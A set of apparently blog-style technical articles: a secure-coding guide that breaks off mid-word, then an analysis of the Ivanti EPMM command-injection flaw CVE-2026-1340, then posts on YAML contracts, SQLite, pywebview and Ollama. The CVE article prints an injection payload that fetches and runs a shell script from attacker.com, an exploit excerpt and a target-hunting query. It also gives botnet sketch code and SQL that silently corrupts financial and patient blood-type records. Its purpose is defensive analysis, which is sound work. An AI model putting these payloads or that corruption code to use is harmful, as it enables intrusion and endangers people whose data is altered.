SECURE BY DESIGN: MASTER GUIDELINES AND CWE MITIGATION
This document establishes the master guidelines for software development under a "Secure by Design" approach. In a landscape where code volume grows exponentially, it is imperative to adopt patterns that reduce risk early, before vulnerabilities become exploitable in production environments.
Focus: Secure by Design · Zero Trust in Code
Prohibited: Hardcoding credentials in repositories
Environment: Continuous Integration (SDLC) assisted by AI and cloud context.
// Non-technical explanation
Building software without thinking about security is like manufacturing a car without brakes and adding them after it's already on the street. "Secure by Design" means thinking about the brakes, the chassis, and the airbags from the first paper sketch, not as a patch added at the very end.
01. THE SECURE DESIGN BLUEPRINT
Security does not begin in the code, but in the evaluation of the environment and the nature of the data. Before writing business logic, three critical design questions must be answered:
1. Surface Exposure: Will the application be publicly exposed to the Internet or restricted to internal traffic? Attack vectors and entry points must be modeled based on this exposure.
2. Data Sensitivity: What type of information will the system process? Handling PII, PHI, or financial data dictates specific compliance and control levels.
3. Identity and Ownership: Who is the system owner, and which identities (users or services) are explicitly authorized to interact with it?
Security in API Design: Mandatory use of OAuth 2.0 for third-party integrations, JSON Web Tokens (JWT) for stateless authentication, and strict implementation of MFA (Multi-Factor Authentication) as a depth defense layer.
Resilience Patterns: Assume any input can be malicious. Implement Schema Enforcement (e.g., JSON Schema), Rate Limiting/Throttling to mitigate DoS, and Safe Failure Modes (sanitize logs and stack traces to prevent CWE-209).
02. CENTRALIZED SECRET MANAGEMENT
The use of "hardcoding" for API keys, certificates, passwords, or any credentials in source code or configuration files is strictly prohibited.
Applications must be designed to retrieve secrets dynamically at runtime using specialized vaults. The use of AWS Secrets Manager or Azure Key Vault is required to centralize management, rotation, and auditing, ensuring secrets never reside in the version control system (Git).
03. INJECTION VULNERABILITIES (CWE TOP 25)
Injection weaknesses remain the most critical attack vector. Mitigation requires strict coding patterns.
| Name / CWE | Impact | Mitigation Strategy |
|---|---|---|
| XSS (CWE-79) | Session hijacking, malicious redirects. | Use text APIs (textContent), not HTML execution. |
| SQL Injection (CWE-89) | Unauthorized DB access or alteration. | Prepared statements or mandatory ORMs. |
| Code Injection (CWE-94) | Total system compromise. | Avoid eval(), use allow-lists. |
| Command Injection (CWE-77) | Arbitrary OS command execution. | Pass arguments as lists, avoid shell use. |
// Risky Pattern:
document.getElementById("output").innerHTML = comment;
// Solution (Fix):
document.getElementById("output").textContent = comment;
// Risky Pattern:
const result = eval(expr);
// Solution (Fix): Strict validation and type conversion
if (!/^\d+$/.test(expr)) {
return res.status(400).send("Invalid input");
}
const result = Number(expr);
# Risky Pattern:
cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")
# Solution (Fix):
cursor.execute(
"SELECT * FROM users WHERE username = %s",
(username,)
)
# Risky Pattern:
subprocess.check_output(f"ping {host}", shell=True)
# Solution (Fix):
subprocess.check_output(["ping", host])
04. ACCESS CONTROL AND FLOWS
Missing Authorization (CWE-862): Occurs when there is no permission check. Incorrect Authorization (CWE-86
FROM CVE TO DIGITAL APOCALYPSE: DISSECTING CVE-2026-1340 AND THE ART OF EXTREME THREAT MODELING
A journey from an Apache bug to the theoretical collapse of global systems — and the defenses that prevent it.
CVE-2026-1340/1281: Unauthenticated RCE in Ivanti EPMM via Bash command injection
The Real Bug: Not SQLi — it's direct command injection through Apache RewriteMap
The Impact: Full MDM control = control over thousands of corporate mobile devices
The Lesson: How a single CVE can theoretically escalate to a global systemic threat
The Defenses: WAF, behavioral EDR, network segmentation, immutable backups
// Non-technical explanation
The Vulnerability: Imagine a company has a special computer (called MDM) that controls all the work phones and tablets. This computer has a door with a special lock. But someone discovered that if you knock on the door and say magic words in a specific way, the door just... opens. No key needed. No password. Just magic words.
The Problem: Once you're inside this computer, you become the boss of ALL the phones it controls. You can install apps on everyone's phones without asking, read everyone's emails and messages, know where everyone is (GPS tracking), steal company secrets, or make all the phones stop working at the same time.
The Bottom Line: This story shows why cybersecurity is like having multiple locks on your house, cameras, alarms, AND a safe for your valuables. One lock isn't enough when bad guys are really clever.
01. THE FAKE REPORT (OR HOW NOT TO ANALYZE A CVE)
I received a vulnerability report that made all my alarms go off. Not because of its severity (CVSS 9.8, CISA KEV), but because of its brutal technical inconsistencies.
CVE-2026-1340: SQL Injection → RCE in Ivanti EPMM
CVSS: 9.8 (Critical)
PoC:
GET /api/v1/devices?query=SELECT+*+FROM+devices+WHERE+id=1+OR+1=1;+DROP+TABLE+devices;
Red Flag #1: SQLi ≠ Automatic RCE
The report assumes that OR 1=1 and DROP TABLE magically lead to code execution. In reality: OR 1=1 is authentication bypass/data exfiltration, DROP TABLE is DoS. RCE requires specific DB functions like xp_cmdshell.
Red Flag #2 & #3: The PoCs are Tutorial-Level and the Endpoint Doesn't Exist. /api/v1/devices is not real. The real endpoints are /mifs/c/aftstore/fob/ and /mifs/c/appstore/fob/.
After investigating the real references, the truth is much worse and much simpler: it's direct command injection.
# The script DOES NOT sanitize input
# Vulnerable configuration:
RewriteMap map-aft-store-url prg:/path/to/map-aft-store-url.sh
# The script does something like:
result=$(process_param "$user_input")
# Attacker sends:
https://victim.com/mifs/c/aftstore/fob/?h=$(curl http://attacker.com/shell.sh|bash)
# Bash EVALUATES the command and executes it
| Feature | Impact |
|---|---|
| No authentication | Remote attacker needs no credentials |
| Executes as root | Maximum system privileges |
| Single request | One GET compromises the server |
| Target: MDM | Server controls THOUSANDS of corporate mobiles |
02. THE REAL EXPLOIT (HOW IT WORKS)
watchTowr Labs published technical analysis and Rapid7 developed the MSF module. Using this against systems without authorization is ILLEGAL, but analyzing the logic is vital for defense.
def execute_cmd(cmd)
elements = {
'kid' => rand(32),
'st' => 'theValue'.ljust(10), # Length check bypass
'et' => (Time.now + (60 * 60 * rand(24))).to_i,
'h' => "gPath[#{cmd}]" # ← Command injected here
}
# ... sends request to /mifs/c/appstore/fob/ ...
end
// Validation & Reverse Shells Explained
Validation (Ping Test): Think of this like leaving a note on someone's door that says "call me at this number." If they call, you know they read your note. Here, we're asking the server to "call us back" — if it does, we know it's vulnerable.
Web Shell: This is like secretly installing a camera in someone's house. Once it's there, you can look through it anytime you want.
Reverse Shell: Instead of just leaving a camera, this is like installing a walkie-talkie. Now you can talk directly to the computer and tell it what to do, and it talks back to you in real-time.
Exposed Data:
- Database with credentials of ALL devices
- Corporate authentication tokens
- Configuration profiles (VPN, WiFi, certificates)
- Employee GPS locations
Post-Exploitation Capabilities:
- Push malware to thousands of phones simultaneously
- Bypass security policies (MDM controls EVERYTHING)
- Pivot to internal network (MDM connects to AD, Exchange, HR)
- Exfiltrate corporate data without detection
03. FROM EXPLOIT TO EXTREME SCENARIO (THREAT MODELING)
This is where the conversation gets... unsettling. An advanced adversary with root access to an MDM doesn't stop there. Let's think like an APT.
Shodan Query: ssl:"Ivanti" port:8443 http.status:200
Results: 250+ public instances
# Script:
for target in targets:
if vulnerable(target):
deploy_silent_backdoor(target)
add_to_botnet(target)
// P2P Botnets & Integrity Attacks Explained
Silent Botnet: Instead of breaking into just one house, imagine someone made a list of EVERY house with the same broken lock, and secretly made a copy of their key. Imagine you have a secret knock. The door looks normal to everyone else, but when YOU knock with the secret pattern, it opens.
The Integrity Attack (Logic Bomb): The scariest scenario isn't destruction — it's subtle corruption. Imagine someone breaks into a library and doesn't burn the books. Instead, they change small things: swap some dates in history books, change some ingredients in recipe books. Nobody notices at first. That's what this attack does to computer data — it changes it slightly, which is WORSE because you don't know what's real anymore.
package main
import (
"github.com/libp2p/go-libp2p" // Decentralized P2P C2
"runtime"
)
func main() {
node := initP2PNode() // No central server to take down
for {
msg := node.ReceiveEncrypted()
switch msg.Type {
case "spread": propagate()
case "exfil": exfiltrate(msg.Target)
case "bomb": deployLogicBomb(msg.Payload)
}
}
}
func corruptDatabases() {
connStrings := findDatabaseCredentials()
for _, db := range connStrings {
// DON'T drop tables (too obvious)
db.Exec("UPDATE transactions SET amount = amount * 1.03")
db.Exec("UPDATE invoices SET due_date = DATE_ADD(due_date, INTERVAL 30 DAY)")
db.Exec("UPDATE patients SET blood_type = CASE WHEN blood_type='A+' THEN 'A-' ELSE blood_type END")
}
}
04. THE DEFENSES (HOW TO STOP THIS)
Defense in Depth against CVE-2026-1340 and advanced threats requires layered architectures.
SecRule REQUEST_URI "@rx /mifs/c/(aft|app)store/fob/" \
"chain,id:2026001,phase:2,deny,status:403,log,msg:'CVE-2026-1340 Block'"
SecRule ARGS:h "@rx (\$\(|\`|gPath\[)" \
"t:urlDecode,t:urlDecodeUni"
[Internet] → [WAF] → [DMZ: EPMM Server] ⊗ [Internal Network]
↓
[Egress Firewall: DENY ALL outbound except push notifications]
rule Ivanti_EPMM_Exploitation {
strings:
$proc1 = "httpd" ascii
$proc2 = "bash" ascii
condition:
process.parent.name == "httpd" and
(process.name == "bash" or process.name == "curl")
}
<rule id="100001" level="12">
<if_sid>550</if_sid>
<match>/mifs/a/</match>
<regex>\.jsp$|\.war$|\.sh$</regex>
<description>Webshell creation in EPMM directory</description>
</rule>
CREATE TRIGGER audit_mass_update
BEFORE UPDATE ON critical_table
FOR EACH ROW
BEGIN
IF (SELECT COUNT(*) FROM information_schema.processlist
WHERE command = 'Update') > 100 THEN
SIGNAL SQLSTATE '45000'
SET MESSAGE_TEXT = 'Mass update blocked - potential attack';
END IF;
END;
AWS S3 Object Lock: Mode GOVERNANCE | RetentionDays: 90 | LegalHold: true
Immutable backups are like writing something in permanent marker on stone instead of pencil on paper. Once it's written, NOBODY can erase it or change it — not even you, not even the hacker. So if a hacker corrupts all your data, you can go to your "stone tablet" backups and restore the real information.
05. CONCLUSIONS: LESSONS FOR ANALYSTS
| Lesson | Reality Check |
|---|---|
| Distrust Generic Reports | A CVSS 9.8 doesn't mean the technical analysis is correct. Validate endpoints and mechanisms. |
| SQLi ≠ Command Injection | They attack completely different layers (SQL logic vs OS shell). |
| MDM = Crown Jewel | It's the master key to devices. Isolate it and apply strict egress filtering. |
| Assume Breach | Modern defenses assume the adversary WILL execute code. Zero Trust, behavioral analytics, immutable backups. |
-- THE BIG PICTURE
Think of cybersecurity like protecting a castle. The old approach was building a huge wall (firewall). If anyone got over it, they owned your castle. This CVE shows why that fails. The new approach means Wall + guards (WAF) + cameras (EDR) + locked rooms inside (segmentation) + secret copies of treasures hidden elsewhere (immutable backups). Even if they get in, they're detected immediately, trapped in one room, and can't reach the real treasures.
References:
CVE-2026-1340 NIST NVD ·
CISA KEV Catalog ·
watchTowr Labs Analysis ·
Metasploit Framework ·
MITRE ATT&CK: Impact
> SYSTEM_READY > NODE_ONLINE
THE YAML CONTRACT AS THE SOURCE OF TRUTH: CODE IS REGENERABLE, THE CONTRACT IS NOT
In traditional development, documentation always trails the code. It gets written after the fact, updated late, and eventually lies — because the code evolved and the documentation did not. In AAL, the relationship is inverted: the YAML contract is the source of truth, the code is a consequence of the contract, regenerable at any time by any LLM that receives it. If the code and the contract contradict each other, the code is wrong.
Stack: YAML · Python · any LLM
Reference projects: TeliOs · AAL methodology
Goal: Make code disposable and the contract permanent — the real risk is losing the YAML, not the code
01. THE PROBLEM IT SOLVES
In traditional development, the only real source of truth ends up being the code itself — which is hard to read for anyone who did not write it, and completely opaque to an LLM arriving without context. The result is that every LLM work session starts from scratch, re-explaining what already exists.
The YAML contract eliminates that problem. It precisely defines what each component does, what it exposes, what it depends on, and under what conditions it operates correctly. The LLM receives the contract and generates the code — not the other way around.
// Non-technical explanation
Imagine you build furniture. You have two options: build the chair first and then try to draw the blueprint of what you built, or draw the blueprint first and then build the chair following it. The first option produces blueprints that are always outdated. The second produces blueprints that are always correct because they are the source of the chair. In AAL, the YAML contract is the blueprint. The chair is the code.
02. ANATOMY OF A COMPLETE YAML CONTRACT
A complete contract has five sections: metadata for identity and state, interface for what it exposes, dependencies for what it needs, constraints for non-negotiable limits, and acceptance_tests for verification. The store.js contract is the canonical example from TeliOs.
# Contract for store.js — TeliOs state engine
metadata:
id: TELIO-U001
version: 1.0.0
name: 'TeliOs Store — Global State Engine'
type: utility
status: pending
description: >
Single centralized state for the TeliOs ecosystem.
Persists to localStorage. Notifies changes via events.js.
The only source of truth in the system.
Maximum 100 lines. Zero external dependencies.
language: JavaScript
file: src/store.js
interface:
exports:
getState:
type: function
description: 'Returns the full state or a nested key'
parameters:
key: { type: string, required: false,
description: 'Dot-notation key: kayros.start' }
returns:
type: any
description: 'Value at key, or full state if no key is given'
setState:
type: function
description: 'Updates state, persists to localStorage, emits change event'
parameters:
key: { type: string, required: true }
value: { type: any, required: true }
returns:
type: boolean
description: 'true if saved correctly, false if localStorage failed'
resetModule:
type: function
description: 'Resets a module to its default values'
parameters:
module: { type: string, required: true }
returns:
type: boolean
dependencies:
internal:
- TELIO-U003 # events.js — emits state:changed on every setState
external: {} # ZERO external dependencies — absolute principle
constraints:
quality:
max_lines: 100
test_coverage: '> 80%'
no_dependencies: true
performance:
max_write_time: '< 10ms'
max_state_size: '< 5MB'
behavior:
must_notify: true
must_persist: true
memory_fallback: true
acceptance_tests:
- id: T001
name: 'setState persists to localStorage'
when: "setState('arke.type', 'fire')"
then:
- "localStorage contains TELIOS_STATE key"
- "getState('arke.type') === 'fire'"
- "Events receives emit('state:changed', {key: 'arke.type', value: 'fire'})"
- id: T002
name: 'getState with nested key'
when: "setState('kayros.totalDays', 1096)"
then:
- "getState('kayros.totalDays') === 1096"
- "getState('kayros') is an object with totalDays: 1096"
- id: T003
name: 'memory fallback when localStorage fails'
when: 'localStorage.setItem throws QuotaExceededError'
then:
- "setState returns false"
- "getState keeps working from memory"
- "App does not break"
implementation_notes: >
Use IIFE to encapsulate.
No classes — pure functional module.
DEFAULT_STATE must be defined in full at the top.
Nested keys use dot-notation: 'kayros.start'.
| Section | Content | Purpose |
|---|---|---|
| metadata | ID, version, type, status, description | Unique component identity. The LLM knows what it is and why it exists. |
| interface | Exported functions, parameters, return types | The public contract — what other modules can call. |
| dependencies | Internal (cell IDs), external (libraries) | Dependency graph map. Detects cycles before implementation. |
| constraints | Line limits, performance, behavior rules | Non-negotiable boundaries the LLM cannot ignore. |
| acceptance_tests | When/then scenarios | Objective success criteria. If tests pass, the cell is correct. |
03. USING THE CONTRACT TO GENERATE CODE
The implementation prompt in FocOs does not describe the problem — it delivers the contract directly. The critical instruction is the last one: if the contract and the implementation contradict each other, change the implementation. If the contract has an error, say so before implementing.
PROMPT_IMPLEMENTATION = """
Implement cell {id} of the TeliOs ecosystem.
CONTRACT:
{yaml_content}
ABSOLUTE RULES:
1. Maximum {max_lines} lines
2. Zero external dependencies
3. Implement EXACTLY what is defined in interface.exports
4. Include acceptance tests as // TEST: comments at the end
5. JSDoc on every exported function
The contract is the truth.
If the contract and your implementation contradict — change the implementation.
If the contract has an error — tell me before implementing.
"""
04. REGENERATING A CELL FROM THE CONTRACT
This is the use case that justifies the entire methodology. The code was lost or corrupted — but the YAML contract exists in the repo. That is enough to fully recover it in 15 minutes. Without the contract, the same operation takes hours reconstructing from memory or from broken code.
# The YAML contract exists — that is enough to regenerate
# Recovery workflow:
# 1. Open TELIO-U001.contract.yaml
# 2. Paste content into the implementation prompt
# 3. LLM generates store.js from scratch — conforming to the contract
# 4. Verify acceptance tests T001, T002, T003
# 5. If they pass — cell regenerated. If not — LLM iterates.
# Total time with contract: 10-15 minutes
# Total time without contract: hours or days
An 80-line plain-text YAML file committed to a Git repository is practically impossible to lose. Risk in AAL shifts completely: it is no longer about losing code — it is about losing the contract. And a versioned text file is far easier to protect than a codebase.
-- CONCLUSION
The YAML contract as source of truth solves the deepest problem in LLM-driven development: the fragility of the knowledge base. If the contract exists, the code can be lost, corrupted, or go stale without permanent consequences. The LLM can regenerate it in 15 minutes. This fundamentally changes the nature of risk in development — the risk is no longer losing code. It is losing the contract. And that is much harder to do.
> SYSTEM_READY > NODE_ONLINE
SQLITE IN DESKTOP APPS: THE DATABASE THAT NEEDS NO SERVER
Every desktop app needs to persist data. The web developer's reflex is to spin up PostgreSQL or MySQL. For a single-user desktop app, that is overkill by multiple orders of magnitude: it requires a running server, user configuration, connection management, and complexity that adds nothing in a single-user context. SQLite is the correct answer — one file on disk, zero configuration, zero server, zero maintenance.
Stack: Python · SQLite · JSON
Reference project: FocOs — data persistence
Goal: Robust persistence without a server — one file on disk, years of development without touching the schema
01. THE PROBLEM IT SOLVES
PostgreSQL and MySQL are designed for concurrent multi-user access, high availability, and distributed workloads. In a personal desktop app, none of those properties apply — yet you drag along the entire infrastructure. SQLite solves exactly the problem you actually have: reliable persistence for one user, no external process, no configuration, and the end user never knows a database exists.
// Non-technical explanation
Imagine you need to save a shopping list. You have two options: hire a professional chef with an industrial kitchen to keep it, or simply write it in a notebook. PostgreSQL is the chef. SQLite is the notebook. For a shopping list, the notebook is the right answer — and you can carry it in your pocket.
02. FOCOS SCHEMA IN SQLITE
FocOs uses four core tables. The two PRAGMAs at initialization are non-negotiable: WAL journal mode dramatically improves write performance, and foreign_keys=ON activates referential integrity that SQLite leaves disabled by default.
import sqlite3
from pathlib import Path
DB_PATH = Path('data/focos.db')
def init_db():
DB_PATH.parent.mkdir(parents=True, exist_ok=True)
conn = sqlite3.connect(DB_PATH)
conn.execute("PRAGMA journal_mode=WAL") # Faster writes
conn.execute("PRAGMA foreign_keys=ON") # Referential integrity
conn.executescript("""
CREATE TABLE IF NOT EXISTS projects (
id INTEGER PRIMARY KEY AUTOINCREMENT,
name TEXT NOT NULL UNIQUE,
status TEXT DEFAULT 'active',
meta TEXT DEFAULT '{}'
);
CREATE TABLE IF NOT EXISTS tasks (
id INTEGER PRIMARY KEY AUTOINCREMENT,
project_id INTEGER REFERENCES projects(id),
title TEXT NOT NULL,
status TEXT DEFAULT 'pending',
priority INTEGER DEFAULT 1,
created_at TEXT DEFAULT (datetime('now'))
);
CREATE TABLE IF NOT EXISTS workspaces (
ws_id INTEGER PRIMARY KEY,
project_id INTEGER REFERENCES projects(id),
layout TEXT DEFAULT 'default',
state TEXT DEFAULT '{}'
);
CREATE TABLE IF NOT EXISTS sessions (
id INTEGER PRIMARY KEY AUTOINCREMENT,
project_id INTEGER REFERENCES projects(id),
date TEXT DEFAULT (date('now')),
duration INTEGER DEFAULT 0,
notes TEXT DEFAULT ''
);
INSERT OR IGNORE INTO workspaces(ws_id) VALUES (1),(2),(3);
""")
conn.commit()
conn.close()
03. FULL CRUD — NO ORM, NO MAGIC
The pattern is consistent across all operations: open connection, execute, commit if writing, close in the finally block. No ORM, no unnecessary abstraction — the SQL is visible, debuggable, and predictable. Soft delete instead of real DELETE preserves history and avoids irreversible mistakes.
def create_project(self, name: str, status: str = 'active') -> dict:
conn = sqlite3.connect(DB_PATH)
try:
cur = conn.execute(
"INSERT INTO projects(name, status) VALUES(?,?)",
(name, status)
)
conn.commit()
return { 'ok': True, 'id': cur.lastrowid }
except sqlite3.IntegrityError:
return { 'ok': False, 'error': f"Project '{name}' already exists" }
finally:
conn.close()
# READ
def get_projects(self) -> list:
conn = sqlite3.connect(DB_PATH)
rows = conn.execute(
"SELECT id, name, status, meta FROM projects ORDER BY id DESC"
).fetchall()
conn.close()
return [
{ 'id': r[0], 'name': r[1], 'status': r[2],
'meta': json.loads(r[3] or '{}') }
for r in rows
]
# UPDATE
def update_project_status(self, project_id: int, status: str) -> dict:
conn = sqlite3.connect(DB_PATH)
conn.execute(
"UPDATE projects SET status=? WHERE id=?",
(status, project_id)
)
conn.commit()
conn.close()
return { 'ok': True }
# DELETE (soft delete — change status, never drop rows)
def archive_project(self, project_id: int) -> dict:
return self.update_project_status(project_id, 'archived')
04. JSON INSIDE SQLITE — THE META FIELD
SQLite has no native JSON type — it is stored as TEXT and serialized/deserialized manually. The advantage is that the meta field can grow indefinitely without altering the schema. The rule is clear: data that requires querying goes in dedicated columns; flexible, evolving data goes in meta.
# Store complex metadata in a single field
meta = {
'type': 'software',
'stack': ['Python', 'JavaScript'],
'philosophy': 'Focus is the primary function',
'completion': 85,
}
conn.execute(
"UPDATE projects SET meta=? WHERE id=?",
(json.dumps(meta, ensure_ascii=False), project_id)
)
# Read and deserialize
row = conn.execute(
"SELECT meta FROM projects WHERE id=?", (project_id,)
).fetchone()
meta = json.loads(row[0]) if row else {}
print(meta['completion']) # 85
| Data type | Where it goes | Reason |
|---|---|---|
| ID, status, dates, foreign keys | Dedicated column | Needed in WHERE, ORDER BY or JOIN clauses. |
| Stack, philosophy, completion, config | meta field (JSON) | Read-only access. Can grow without migration. |
| Rapidly evolving data | meta field (JSON) | Add fields without ALTER TABLE or migration scripts. |
05. AUTOMATIC BACKUP — ONE LINE
SQLite is a file. Backing it up is copying that file. No dumps, no exports, no external tooling. The strategy in FocOs is to call backup_db() at the start of every work session — if something gets corrupted, that day's backup is immediately available.
from datetime import datetime
def backup_db(self) -> dict:
date = datetime.now().strftime('%Y-%m-%d')
backup = DB_PATH.parent / f'focos_backup_{date}.db'
shutil.copy2(DB_PATH, backup)
return { 'ok': True, 'path': str(backup) }
# Call at the start of every session:
# backup_db() — if corruption happens, the day's backup is there
-- CONCLUSION
SQLite with the meta JSON pattern eliminates the need for schema migrations in fast-evolving projects. Structured fields go in dedicated columns for fast querying. Flexible data goes in the meta field without migration. For a single-user desktop app, this approach holds up for years of development without ever touching the database structure.
> SYSTEM_READY > NODE_ONLINE
DESKTOP APPS WITHOUT ELECTRON: PYTHON + PYWEBVIEW AS A REAL ALTERNATIVE
Electron has a problem its ecosystem refuses to admit: it consumes between 150MB and 400MB of RAM at idle, requires Node.js as a runtime, and ships a full Chromium instance bundled in every installation. A "simple" desktop app easily weighs 200MB just for the runtime. For projects where the core logic already lives in Python, there is an alternative few know about: pywebview. Same visual result, a fraction of the weight, no Node.js, no npm.
Stack: Python 3.10+ · pywebview 4.4 · HTML/CSS/JS
Reference project: FocOs v1.3 — Windows + Linux
Goal: Eliminate Electron from the stack — UI in HTML/CSS/JS, backend in pure Python, direct bridge without IPC
01. THE PROBLEM IT SOLVES
Electron forces you to duplicate logic: the UI in JavaScript/TypeScript and the backend in Node.js with IPC to communicate with the system. For Python projects, this means either rewriting the entire backend in Node or maintaining two separate processes. pywebview eliminates this duplication: UI is HTML/CSS/JS, backend is pure Python, and the bridge between them is direct.
// Non-technical explanation
Imagine you want a window with a web screen inside. Electron is like constructing an entire building to hold that window — it brings its own bricks, its own water supply, its own power generator. pywebview is like cutting a hole in your existing wall and fitting the window there — it uses what the house (the operating system) already has. Much lighter, much more efficient.
02. THE HONEST COMPARISON
The numbers make the decision. Electron has stronger support for specific edge cases — native notifications, advanced multi-window, DevTools in production. Outside those cases, pywebview wins on everything that matters for an independent project.
| Factor | Electron | pywebview |
|---|---|---|
| Runtime | Node.js + Chromium (~200MB) | WebView2/WebKit native (0MB extra) |
| App size | 150-300MB minimum | 5-20MB (your code only) |
| Idle RAM | 150-400MB | 30-80MB |
| Backend | Node.js required | Pure Python |
| IPC | ipcMain / ipcRenderer | Direct bridge via js_api |
| Web engine | Fixed Chromium | WebView2 (Win) / WebKit (Linux/Mac) |
| Build | electron-builder | PyInstaller / Nuitka |
03. INSTALLATION AND MINIMAL SETUP
Base installation is one line. Additional dependencies depend on the OS — Windows needs the WebView2 backend, Linux needs the system WebKitGTK.
pip install pywebview
# Windows — WebView2 backend:
pip install pywebview[winforms]
# or explicit WebView2:
pip install pywebview[edgechromium]
# Linux — Ubuntu/Debian:
sudo apt install python3-gi python3-gi-cairo gir1.2-gtk-3.0 gir1.2-webkit2-4.0
# Linux — Arch:
sudo pacman -S python-gobject webkit2gtk
# Minimal working app:
import webview
window = webview.create_window(
title = 'My App',
url = 'https://example.com',
width = 1200,
height = 800,
)
webview.start()
# Load local HTML:
from pathlib import Path
url = Path('web/index.html').resolve().as_uri()
window = webview.create_window(title='My App', url=url)
webview.start()
04. FOCOS ARCHITECTURE — REAL STRUCTURE
FocOs separates the project into two clear domains: the Python backend at the root and the complete frontend under web/. The SQLite database and LLM configuration live in data/, never mixed with UI code.
├── main.py # Entry point + FocOsAPI
├── focos_importer.py # Project import module
├── data/ # Database and config
│ ├── focos.db # SQLite — projects, tasks, workspaces
│ ├── llm_config.json # LLM configuration
│ └── projects_config.json
└── web/ # Complete frontend
├── index.html # Main shell
├── css/
│ ├── main.css # Variables and reset
│ ├── layout.css # Grid and structure
│ └── theme.css # Dark-Amber theme
└── js/
├── bridge.js # Python bridge abstraction
├── llm.js # LLM panel
├── editor.js # Monaco Editor with tabs
├── terminal.js # xterm.js terminal
├── browser.js # Embedded browser
└── dashboard.js # Metrics and projects
05. THE FOCOSAPI CLASS — THE COMPLETE BRIDGE
Every method in FocOsAPI is accessible from JavaScript via window.pywebview.api.method_name(). Python types are serialized and deserialized automatically — no message protocol to maintain, no types to map manually.
import webview, sqlite3, json, os
from pathlib import Path
BASE_DIR = Path(__file__).parent
DATA_DIR = BASE_DIR / 'data'
DB_PATH = DATA_DIR / 'focos.db'
class FocOsAPI:
# -- SYSTEM ------------------------------------------------
def get_version(self):
return { 'version': '1.3', 'platform': os.name }
def open_folder(self, path: str):
'''Opens a folder in the native OS file explorer'''
import subprocess
if os.name == 'nt':
subprocess.Popen(['explorer', path])
else:
subprocess.Popen(['xdg-open', path])
return { 'ok': True }
# -- FILES -------------------------------------------------
def open_file_dialog(self):
result = window.create_file_dialog(
dialog_type = webview.FileDialog.OPEN,
allow_multiple = False,
)
if result:
return { 'ok': True, 'path': str(result[0]) }
return { 'ok': False }
def read_file(self, path: str):
p = Path(path)
text = p.read_text(encoding='utf-8', errors='replace')
return { 'ok': True, 'text': text }
def write_file(self, path: str, content: str):
Path(path).write_text(content, encoding='utf-8')
return { 'ok': True }
# -- STARTUP -----------------------------------------------
def main():
DATA_DIR.mkdir(parents=True, exist_ok=True)
init_db()
api = FocOsAPI()
index_url = (BASE_DIR / 'web' / 'index.html').resolve().as_uri()
global window
window = webview.create_window(
title = 'FocOs',
url = index_url,
js_api = api,
width = 1400,
height = 900,
min_size = (900, 600),
resizable = True,
background_color = '#0A0A0A',
)
webview.start(on_start, debug=False)
if __name__ == '__main__':
main()
06. DISTRIBUTING THE APP — PYINSTALLER
PyInstaller bundles the Python interpreter, the app, and all assets into a single executable. The result on Windows is a ~15MB .exe — no external runtime, no visible dependencies for the end user.
pip install pyinstaller
# Windows — separator ';'
pyinstaller --onefile --windowed \
--add-data 'web;web' \
--add-data 'data;data' \
--name 'FocOs' \
main.py
# Linux — separator ':'
pyinstaller --onefile --windowed \
--add-data 'web:web' \
--add-data 'data:data' \
--name 'focos' \
main.py
# Output:
dist/
FocOs.exe # Windows -- ~15MB, no external runtime
focos # Linux -- ~12MB
pywebview uses WebView2 on Windows. It comes pre-installed on Windows 11. On Windows 10 it may require additional installation by the end user. Check availability at: developer.microsoft.com/en-us/microsoft-edge/webview2/
07. REAL LIMITATIONS OF PYWEBVIEW
pywebview is not a universal Electron replacement. There are cases where Electron remains the correct choice. Knowing the constraints before committing to the architecture prevents rewrites.
| Limitation | Python workaround |
|---|---|
DevTools only with debug=True |
Enable in development, disable in production build. |
| Multi-window with constraints | Design the app as an SPA with panels — eliminates the need for multiple windows. |
| No native notification API | plyer or notify2 from Python — independent of pywebview. |
| No system tray / dock API | pystray from Python — integrates in the same process. |
-- CONCLUSION
pywebview + Python is the right architecture for any desktop app where the core backend already lives in Python. Dropping Electron reduces distribution size from ~200MB to ~15MB, idle RAM from ~300MB to ~50MB, and stack complexity from 3 layers to 2 direct layers. FocOs proves it is possible to build a premium desktop app — with a code editor, terminal, browser, and LLM panel — without a single line of Node.js.
> SYSTEM_READY > NODE_ONLINE
OLLAMA LOCAL: LLMs WITHOUT INTERNET, WITHOUT COST, WITHOUT CONTEXT LIMITS
Groq is fast. Gemini is capable. Claude is brilliant. But they all share one thing: they require internet, have usage limits, and your conversations pass through third-party servers. Ollama is different — it is a runtime that runs language models directly on your machine. No internet. No API key. No per-token cost. Your data never leaves your disk.
Stack: Ollama · Python · any OS
Reference project: FocOs — local LLM provider
Goal: Full technological sovereignty — the LLM runs on your machine, data never leaves your disk
01. THE PROBLEM IT SOLVES
Cloud LLM APIs carry three limitations that directly impact real workflow: they require stable internet — no connection, no LLM; they impose rate and context limits that interrupt long sessions; and the code and ideas you share go to external servers. For an independent developer building their own ecosystem, these are not theoretical concerns — they are real blockers.
For long projects, late-night work sessions, sensitive code, or anyone who values operational independence — Ollama is the answer.
// Non-technical explanation
Imagine that every time you want to ask an expert a question, you have to call them by phone, wait for availability, and pay per minute. That is what cloud LLM APIs are. Ollama is like having that expert living in your house. Always available. No phone. No bill. No one else listening to the conversation.
02. INSTALLATION — 3 MINUTES ON ANY OS
Ollama installs with a single command on Linux, an installer on Windows, and Homebrew on macOS. Once installed, it runs as a background service and exposes a REST API on localhost:11434.
curl -fsSL https://ollama.com/install.sh | sh
# WINDOWS:
# Download installer from: https://ollama.com/download
# Run OllamaSetup.exe — runs as background service automatically
# MACOS:
brew install ollama
# Verify installation:
ollama --version
ollama version 0.5.x
# Verify server is running:
curl http://localhost:11434/api/tags
# Returns list of installed models (empty on first run)
03. RECOMMENDED MODELS — WHICH ONE FOR WHAT
Model selection depends on available RAM and task type. The rule is simple: the largest model your hardware can run without hitting swap. Swap kills inference performance completely.
| Model | Min RAM | Disk | Best for |
|---|---|---|---|
| llama3.2:3b | 8 GB | ~2 GB | Simple tasks, short code completion, quick queries. |
| llama3.2 | 8 GB | ~5 GB | General development, debugging, technical explanations. The sweet spot. |
| llama3.3:70b | 32 GB | ~40 GB | Complex architecture, deep reasoning, analysis. |
| gemma2:9b | 16 GB | ~6 GB | Code. Excellent capability-to-size ratio. From Google. |
| codellama | 8 GB | ~4 GB | Function completion, technical debugging, refactoring. Code-specialized. |
| mistral | 8 GB | ~4 GB | Writing and synthesis. Fast and efficient. |
| deepseek-r1:8b | 8 GB | ~5 GB | Step-by-step reasoning. Excellent for complex logical problems. |
